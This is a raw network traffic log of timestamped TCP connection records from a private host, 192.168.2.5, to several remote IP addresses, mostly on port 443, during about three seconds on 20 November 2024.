Nov 20, 2024 01:18:51.160994053 CET	49917	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.161006927 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.171654940 CET	443	49914	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:51.171730042 CET	49914	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:51.174010992 CET	49914	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:51.174019098 CET	443	49914	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:51.174346924 CET	443	49914	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:51.191577911 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.217957020 CET	443	49915	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:51.218039989 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:51.231606960 CET	49914	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:51.236697912 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.245507956 CET	443	49912	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.245696068 CET	443	49912	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.245826006 CET	49912	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.245893955 CET	49912	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.245912075 CET	443	49912	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.245923996 CET	49912	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.245929956 CET	443	49912	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.246419907 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.246475935 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.246503115 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.246534109 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.246546030 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.246567011 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.246586084 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.246584892 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.246608019 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.246613979 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.246623039 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.246640921 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.246656895 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.248269081 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.248342037 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.248400927 CET	49911	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.248414040 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.248667002 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.248738050 CET	49911	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.248800039 CET	49911	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.248810053 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.248836994 CET	49911	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.248841047 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.251244068 CET	49919	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.251275063 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.251353025 CET	49919	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.251590014 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.251625061 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.251684904 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.251970053 CET	49919	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.251982927 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.252281904 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.252298117 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.255949974 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.256016970 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.256042004 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.256062031 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.256076097 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.256083965 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.256110907 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.256129980 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.256134987 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.256153107 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.256165028 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.256174088 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.256181955 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.256196976 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.258069038 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.258286953 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.258326054 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.258343935 CET	49913	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.258373022 CET	49913	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.258491039 CET	49913	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.258523941 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.258553028 CET	49913	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.258572102 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.262773037 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.262806892 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.262926102 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.263179064 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.263191938 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.279344082 CET	443	49914	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:51.333489895 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.333548069 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.333580017 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.333591938 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.333642006 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.334681034 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.334724903 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.334752083 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.334758997 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.334800005 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.334815025 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.346525908 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.346584082 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.346600056 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.346616983 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.346621990 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.346652985 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.346682072 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.346689939 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.346702099 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.348190069 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.348212957 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.348252058 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.348272085 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.348282099 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.348294973 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.348329067 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.348949909 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.349009991 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.349021912 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.349136114 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.349188089 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.350052118 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.350068092 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.421391010 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.421430111 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.421469927 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.421477079 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.421533108 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.422035933 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.422079086 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.422128916 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.422133923 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.422152996 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.422174931 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.423547983 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.423578978 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.423609018 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.423613071 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.423645020 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.423659086 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.424354076 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.424380064 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.424421072 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.424426079 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.424447060 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.424467087 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.429728985 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:51.429759026 CET	443	49915	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:51.430747032 CET	443	49915	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:51.430821896 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:51.433036089 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:51.433120012 CET	443	49915	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:51.433339119 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:51.433351994 CET	443	49915	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:51.461656094 CET	443	49914	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:51.461826086 CET	443	49914	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:51.461894035 CET	49914	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:51.466932058 CET	49914	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:51.466967106 CET	443	49914	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:51.510008097 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.510071993 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.510087967 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.510097027 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.510133028 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.510148048 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.510381937 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.510425091 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.510443926 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.510449886 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.510483980 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.510503054 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.511374950 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.511419058 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.511481047 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.511486053 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.511504889 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.511528969 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.512264967 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.512304068 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.512339115 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.512342930 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.512381077 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.512429953 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.512474060 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.512490988 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.512495041 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.512514114 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.512537956 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.512882948 CET	49926	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:51.512917995 CET	443	49926	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:51.513025999 CET	49926	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:51.513470888 CET	49926	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:51.513483047 CET	443	49926	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:51.514091969 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.514144897 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.514178038 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.514189959 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.514218092 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.514301062 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.514475107 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.515088081 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.515095949 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.545134068 CET	49927	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:51.545150995 CET	443	49927	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:51.545223951 CET	49927	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:51.545891047 CET	49927	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:51.545903921 CET	443	49927	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:51.709068060 CET	443	49915	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:51.709151030 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:51.709281921 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:51.709341049 CET	443	49915	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:51.709482908 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:51.829200029 CET	443	49916	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.831968069 CET	49916	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.831990004 CET	443	49916	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.832705021 CET	49916	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.832710981 CET	443	49916	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.842612982 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.843511105 CET	49917	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.843564987 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.844114065 CET	49917	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.844129086 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.900158882 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.901040077 CET	49919	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.901087999 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.901987076 CET	49919	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.901998997 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.906109095 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.906900883 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.906919003 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.907280922 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.907285929 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.930332899 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.930721998 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.930742979 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.931150913 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.931157112 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.931337118 CET	443	49916	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.931531906 CET	443	49916	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.931602955 CET	49916	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.931622982 CET	49916	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.931634903 CET	443	49916	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.931643963 CET	49916	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.931648970 CET	443	49916	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.936415911 CET	49928	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.936429977 CET	443	49928	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.936497927 CET	49928	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.937087059 CET	49928	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.937100887 CET	443	49928	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.948266983 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.948291063 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.948363066 CET	49917	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.948390961 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.948461056 CET	49917	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.948467970 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.948478937 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.948491096 CET	49917	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.948530912 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.950901985 CET	49929	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.950959921 CET	443	49929	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.951042891 CET	49929	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.951153994 CET	49929	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.951180935 CET	443	49929	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.000320911 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.000680923 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.000735044 CET	49919	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.000788927 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.000871897 CET	49919	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.000904083 CET	49919	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.000925064 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.000936031 CET	49919	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.000941992 CET	443	49919	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.004237890 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.004743099 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.004774094 CET	49930	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.004784107 CET	443	49930	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.004839897 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.004842043 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.004865885 CET	49930	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.004890919 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.005012035 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.005026102 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.005038977 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.005045891 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.005419016 CET	49930	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.005433083 CET	443	49930	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.007355928 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.007390022 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.008863926 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.009094954 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.009124041 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.042444944 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.042706013 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.042809963 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.042946100 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.042946100 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.042962074 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.042969942 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.047522068 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.047538996 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.047600031 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.048605919 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:52.048619986 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:52.981585026 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:53.136992931 CET	443	49926	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:53.137079000 CET	49926	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:53.138746023 CET	49926	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:53.138768911 CET	443	49926	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:53.139003038 CET	443	49926	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:53.140217066 CET	49926	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:53.183347940 CET	443	49926	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:53.318825006 CET	443	49927	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:53.318947077 CET	49927	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:53.325846910 CET	49927	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:53.325860977 CET	443	49927	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:53.326637030 CET	443	49927	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:53.332062960 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.332273960 CET	443	49929	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.332617044 CET	443	49930	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.334103107 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.335112095 CET	443	49928	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.396435022 CET	49927	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:53.396435022 CET	49930	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.396725893 CET	49928	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.427472115 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.427472115 CET	49929	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.427819014 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.430613995 CET	443	49926	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:53.430670977 CET	443	49926	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:53.430941105 CET	49926	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:53.634042978 CET	49927	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:53.634042978 CET	49927	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:53.634069920 CET	443	49927	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:53.639725924 CET	49927	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:53.683336973 CET	443	49927	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:53.752444983 CET	49928	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.752461910 CET	443	49928	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.753138065 CET	49928	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.753144026 CET	443	49928	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.753148079 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.753191948 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.753616095 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.753645897 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.753959894 CET	49929	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.754002094 CET	443	49929	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:53.754460096 CET	49930	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.754467964 CET	49929	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:53.754472017 CET	443	49930	13.107.246.45	192.168.2.5
